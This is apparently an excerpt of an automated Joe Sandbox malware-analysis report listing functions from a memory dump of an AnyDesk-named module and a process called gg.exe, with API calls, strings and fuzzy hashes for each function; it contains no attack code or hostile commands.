Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ChromeDaysGoogleLastSince
String ID: RelaunchAllowedAfter$Software\Google\Update\ClientState\{8A69D345-D564-463c-AFF1-A69D9E530F96}
API String ID: 2052684696-26780984
Opcode ID: 28625e054a84697fdaba56164600b6f5833c4fe368c8bf90d3f08a4a7f7380a2
Instruction ID: 7d78f6a7c38c7165048c6b63ccdfa971bf66018b1dfb971c1a3bb066d9e8e1d9
Opcode Fuzzy Hash: 28625e054a84697fdaba56164600b6f5833c4fe368c8bf90d3f08a4a7f7380a2
Instruction Fuzzy Hash: 5B4135319002299FEB18CFA4F944BAE73B4FF05758F108419D852AB181FBB1D871EB98

Uniqueness

Uniqueness Score: -1.00%

Function 69C64ADC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 69C64B03

Strings

dmp, xrefs: 69C64B42
reports, xrefs: 69C64B7F, 69C64B84

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID:
String ID: dmp$reports
API String ID: 0-1316949204
Opcode ID: a8578d1942fcd82cd06fc8c355e5f4d850d3e24ff26cc36edcb09856dd7334c6
Instruction ID: 810f5851e3e7c176138f28b08eadda517263180513f038a3bb8089077df547de
Opcode Fuzzy Hash: a8578d1942fcd82cd06fc8c355e5f4d850d3e24ff26cc36edcb09856dd7334c6
Instruction Fuzzy Hash: C741B175A00218ABCB14DBB4FCA0EAEB7B9EF44718F509169E415EB280FF309D05CB94

Uniqueness

Uniqueness Score: -1.00%

Function 69C24D29 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 69C24E2C

Strings

string too long, xrefs: 69C24E27
invalid string position, xrefs: 69C24E1D

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 909987262-4289949731
Opcode ID: 6d9ce6c52082db26fe17a2d195f0c779b9f9d93727f59f34098737cd3b6573e7
Instruction ID: 5dbf49ce1c2a5c9db8e94b39c687c5c07d5aa290d85a14fc3015481444cf49d0
Opcode Fuzzy Hash: 6d9ce6c52082db26fe17a2d195f0c779b9f9d93727f59f34098737cd3b6573e7
Instruction Fuzzy Hash: 9E31B1323047508FE3218F6CF840B5AF7A5FBD1A65F504A2FE651CB281E772D85187A1

Uniqueness

Uniqueness Score: -1.00%

Function 69C24970 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 121COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 69C24A86

Strings

string too long, xrefs: 69C24A81
invalid string position, xrefs: 69C24A6D, 69C24A77

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 909987262-4289949731
Opcode ID: 2abd4e1fd7bb29ce9d5a9716f35ec6964c153dfb7fcc354348c802d34b679953
Instruction ID: 7e1b62fdfadef5dee81a2faeed6cd46877c725fda7252499a340004cd2c8bd50
Opcode Fuzzy Hash: 2abd4e1fd7bb29ce9d5a9716f35ec6964c153dfb7fcc354348c802d34b679953
Instruction Fuzzy Hash: CE318732308214DB8720DF6DF8C095AB3EAFF947653100A2FE656CB610FB31E9118BA5

Uniqueness

Uniqueness Score: -1.00%

Function 69C30A20 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 121COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 69C30B4C

Part of subcall function 69C3FC11: std::invalid_argument::invalid_argument.LIBCONCRT ref: 69C3FC1D
Part of subcall function 69C3FC11: __CxxThrowException@8.LIBVCRUNTIME ref: 69C3FC2B

Strings

vector<T> too long, xrefs: 69C30B47
,, xrefs: 69C30A52

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Exception@8ThrowXinvalid_argumentstd::_std::invalid_argument::invalid_argument
String ID: ,$vector<T> too long
API String ID: 1419379543-2403322092
Opcode ID: 7a4b03d6f160585c72383a0bf58717c1d4677f015d6e4b67da53ff33850ef58b
Instruction ID: 4945ec2cf1e25258d3d8843b7fa22a365ddb8452f2f802a70209ed15eddd6f5b
Opcode Fuzzy Hash: 7a4b03d6f160585c72383a0bf58717c1d4677f015d6e4b67da53ff33850ef58b
Instruction Fuzzy Hash: 9831E736E001289BDF00DFA8ECC0AEEF771FF09318F448528D815A7281E771A954C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 69C2A660 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 69C2A70A
std::_Xinvalid_argument.LIBCPMT ref: 69C2A714

Strings

string too long, xrefs: 69C2A705, 69C2A70F

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: string too long
API String ID: 909987262-2556327735
Opcode ID: d83f2734a4b2cf9f9c6151fecb39ec21425b944208f60e1f310e5a6ec9781b0f
Instruction ID: 3570a83b72d73852bc4b4847fc3f9863965da95df1d0349dd09f603042e8f674
Opcode Fuzzy Hash: d83f2734a4b2cf9f9c6151fecb39ec21425b944208f60e1f310e5a6ec9781b0f
Instruction Fuzzy Hash: 411190323187145B57249E6DF88081AF7EAFFE46713200A3FE596C76A0FB61A84487A5

Uniqueness

Uniqueness Score: -1.00%

Function 69C5F056 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000104), ref: 69C5F0B2
SetWindowPos.USER32(?,?,?,?,?,?,?), ref: 69C5F105

Strings

Chrome_WidgetWin_, xrefs: 69C5F0C2, 69C5F0C7

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ClassNameWindow
String ID: Chrome_WidgetWin_
API String ID: 697123166-524248775
Opcode ID: 419dabbd16511d31d2870add5e7b910a4a1bb8479b9f1a0d825f10c0c7baa2e4
Instruction ID: af9826a779c24aacd176db3206b9187d78cefc9d694bfad7b53796f19f379385
Opcode Fuzzy Hash: 419dabbd16511d31d2870add5e7b910a4a1bb8479b9f1a0d825f10c0c7baa2e4
Instruction Fuzzy Hash: BE21B4B5940209BFDB14CF64EC84F9AB7B8FF24704F004559A519D7181F771E5A5CB90

Uniqueness

Uniqueness Score: -1.00%

Function 69C6134D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(69C78238,00000000,00000001,69C76804,00000000,00000000,?,00000000,00000000), ref: 69C6136D

Part of subcall function 69C3C8D0: SysAllocString.OLEAUT32(?), ref: 69C3C8D9

Part of subcall function 69C3C8F0: SysFreeString.OLEAUT32(?), ref: 69C3C8F2

CoSetProxyBlanket.OLE32(00000000,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 69C613BE

Strings

ROOT\CIMV2, xrefs: 69C6137E

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: String$AllocBlanketCreateFreeInstanceProxy
String ID: ROOT\CIMV2
API String ID: 2036101689-2786109267
Opcode ID: 79fb3796c0e8e34a012a134e614779d941dabcdf24ce64032f901be00e31c2ee
Instruction ID: 1263be1ed96f83df26bbad6cfd9125fc899d39459411e52105c0ac8ad6bd3bfa
Opcode Fuzzy Hash: 79fb3796c0e8e34a012a134e614779d941dabcdf24ce64032f901be00e31c2ee
Instruction Fuzzy Hash: DF215B74A40208BFDB10CFA5D8D0EAEBB7CFF49749F1081ADA906AB250E6719E41DB51

Uniqueness

Uniqueness Score: -1.00%

Function 69C32860 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 69C3287D
std::_Xinvalid_argument.LIBCPMT ref: 69C328ED

Strings

list<T> too long, xrefs: 69C328E8

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: list<T> too long
API String ID: 909987262-4027344264
Opcode ID: 50a58e752218330cb23fbdf43fe452ed953a28ecd89f1439005cae73d1bfd278
Instruction ID: 1f2ee8c7644ecd2ff6342e72f239f4ce3497112d5b0c4c344368fc547eb6f6d1
Opcode Fuzzy Hash: 50a58e752218330cb23fbdf43fe452ed953a28ecd89f1439005cae73d1bfd278
Instruction Fuzzy Hash: F8119E76A002299BCB10CF98E580989F7F5FF89710B55C6A9DD08AB304E731ED06CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 69C3C700 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 69C3C717
std::_Xinvalid_argument.LIBCPMT ref: 69C3C78D

Strings

list<T> too long, xrefs: 69C3C788

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: list<T> too long
API String ID: 909987262-4027344264
Opcode ID: bd8a004608eff1c11782bb6d2246df29cf2b9524051b6122c3095449c6f14184
Instruction ID: 1d64ee51f23d33d3f9e3f39fe9862b2361a288447e0783d1854d3fb0a1301855
Opcode Fuzzy Hash: bd8a004608eff1c11782bb6d2246df29cf2b9524051b6122c3095449c6f14184
Instruction Fuzzy Hash: 46118CBAA01225DFCB14CF68E580A4AB7E8FF49704B5485A9ED08DB301E371ED41CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 69C2A5C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 69C2A64E
std::_Xinvalid_argument.LIBCPMT ref: 69C2A658

Strings

string too long, xrefs: 69C2A649, 69C2A653

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: string too long
API String ID: 909987262-2556327735
Opcode ID: 7def1b04ac0174b99c3f24078333fbb29c8fa97dcca5334702dcd1fba0f07066
Instruction ID: 091c7b2af80e1293eb70286dc1631fbcf5f406f6ea72f18b4f40f02420ad541d
Opcode Fuzzy Hash: 7def1b04ac0174b99c3f24078333fbb29c8fa97dcca5334702dcd1fba0f07066
Instruction Fuzzy Hash: F01102323087105A86309EACF84091EB7E9FFE0B71B110A3FE696C7690FB31E41487A5

Uniqueness

Uniqueness Score: -1.00%

Function 69C3D170 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 69C3D184
GetProcAddress.KERNEL32(00000000), ref: 69C3D195

Strings

kernel32.dll, xrefs: 69C3D178

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: kernel32.dll
API String ID: 1646373207-1793498882
Opcode ID: f30a3c06ee2358b4277e4dc90dee4e5e2e04f0d789673c5e1cf84901b2c94257
Instruction ID: e26339ae3e19aadfd5a3f961de014e71a081dce230d7cdeba7323630ec147df2
Opcode Fuzzy Hash: f30a3c06ee2358b4277e4dc90dee4e5e2e04f0d789673c5e1cf84901b2c94257
Instruction Fuzzy Hash: 0C018475A00219BBEF109E99EC44FAE7BBCFB81660F500196ED08D7140EB70D605C762

Uniqueness

Uniqueness Score: -1.00%

Function 69C66411 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 69C66431

Part of subcall function 69C22340: GetLastError.KERNEL32(?,00000000), ref: 69C223D6

Strings

UuidCreate, xrefs: 69C6645F
c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\util\misc\uuid.cc, xrefs: 69C6644B

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: CreateErrorLastUuid
String ID: UuidCreate$c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\util\misc\uuid.cc
API String ID: 3740028514-535133227
Opcode ID: db96e00cc6b4b287fff55fea4dfb09eb894066b00a5166a0ce01235829c5f081
Instruction ID: 736e058262f9c5d3e6658a3b8a826c1acc9708368b7754c3c8a648ffa041588c
Opcode Fuzzy Hash: db96e00cc6b4b287fff55fea4dfb09eb894066b00a5166a0ce01235829c5f081
Instruction Fuzzy Hash: 93014C365407089ADB14DF64FD81FFEB3A8EF06314F005069EC05AB181EE72AA0AC670

Uniqueness

Uniqueness Score: -1.00%

Function 69C24D10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 69C24E2C

Strings

string too long, xrefs: 69C24E27
invalid string position, xrefs: 69C24E13, 69C24E1D

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 909987262-4289949731
Opcode ID: 76d01b083fbdb7dacd4939e3925203240dfc5bdb5f6f78852d43e53a3b2d658d
Instruction ID: df71e3fa241dfaefd0401e09e3a2ce4c1518e09a2269601a90e033551ba63e84
Opcode Fuzzy Hash: 76d01b083fbdb7dacd4939e3925203240dfc5bdb5f6f78852d43e53a3b2d658d
Instruction Fuzzy Hash: 8BD05E385402287F2A34DAA9FCC0C4E769D6A181547C08819BF049F185FBA4D8006AA1

Uniqueness

Uniqueness Score: -1.00%

Function 69C67450 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 69C62CC2: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,69C6747F,?,?,?,69C2133F), ref: 69C62CC7
Part of subcall function 69C62CC2: GetLastError.KERNEL32(?,69C6747F,?,?,?,69C2133F), ref: 69C62CD1

IsDebuggerPresent.KERNEL32(?,?,?,69C2133F), ref: 69C67483
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,69C2133F), ref: 69C67492

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 69C6748D

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: CountCriticalDebugDebuggerErrorInitializeLastOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 450123788-631824599
Opcode ID: f3f1846b3b7ea1082508326226399beb31eeb927324f233f83340a69e436c061
Instruction ID: 7846d06c2348b54a9dbf1932d71fe144ddaec73802d863accbcd7f243446e43d
Opcode Fuzzy Hash: f3f1846b3b7ea1082508326226399beb31eeb927324f233f83340a69e436c061
Instruction Fuzzy Hash: 92E0ED702007908BE7308F39E18875A7BF8AF91300F008C1CD45ACA600FBB4D0448FB2

Uniqueness

Uniqueness Score: -1.00%

Function 69C3FC31 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 69C3FC3D

Part of subcall function 69C3FBB2: std::exception::exception.LIBCONCRT ref: 69C3FBBF

__CxxThrowException@8.LIBVCRUNTIME ref: 69C3FC4B

Part of subcall function 69C42BD6: RaiseException.KERNEL32(?,?,?,69C413B7,00000000,00000000,00000000,?,?,?,?,?,69C413B7,?,69C7B2E0), ref: 69C42C35

Strings

Unknown exception, xrefs: 69C3FC58

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowstd::exception::exceptionstd::invalid_argument::invalid_argument
String ID: Unknown exception
API String ID: 1586462112-410509341
Opcode ID: 0a57ce79f315d66c702265ecb659309d2366396ac86aef17a71c0267804ad534
Instruction ID: 59df7f41faa0e027d69ac3f5af35e729348e72ed24c01e18bfb9704c83941158
Opcode Fuzzy Hash: 0a57ce79f315d66c702265ecb659309d2366396ac86aef17a71c0267804ad534
Instruction Fuzzy Hash: 73D0A73CA002087BCB10DEE5F861D8C7B7C6E04204BC0C4A9A918C7040F770EA4686D1

Uniqueness

Uniqueness Score: -1.00%

Function 69C54371 Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,00000000,?), ref: 69C54407
GetLastError.KERNEL32 ref: 69C54415
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,00000000), ref: 69C54470

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: a252753ea3ddd9e00cfd7ed00269e276aa7313eab9b495e7fc1211c00705224e
Instruction ID: dbe5af2d0f73d0db38a828bbd3e7a08039b1a47f7925168ebfa1512390c7572f
Opcode Fuzzy Hash: a252753ea3ddd9e00cfd7ed00269e276aa7313eab9b495e7fc1211c00705224e
Instruction Fuzzy Hash: 94410631644216AFDB118F65E844BAA7BB9FF41360F108168FD6A9B1A0F7308D31C775

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: gg.exePID: 7500, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	17.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	188
Total number of Limit Nodes:	16

Executed Functions

Function 07BF88D1 Relevance: 4.6, APIs: 1, Strings: 1, Instructions: 1094
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

k%, xrefs: 07BF8FA2, 07BF8FA7

Memory Dump Source

Source File: 00000015.00000002.2070494348.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7bf0000_gg.jbxd

Similarity

API ID:
String ID: k%
API String ID: 0-691860151
Opcode ID: 132cb50741e1b9825139735372b4aa830a49424fce78210a9c38c56889346eaf
Instruction ID: 316a8f5c85f95ed821c0fa4b6cb030f6080417ef81b61f8932ba282bed1dc531
Opcode Fuzzy Hash: 132cb50741e1b9825139735372b4aa830a49424fce78210a9c38c56889346eaf
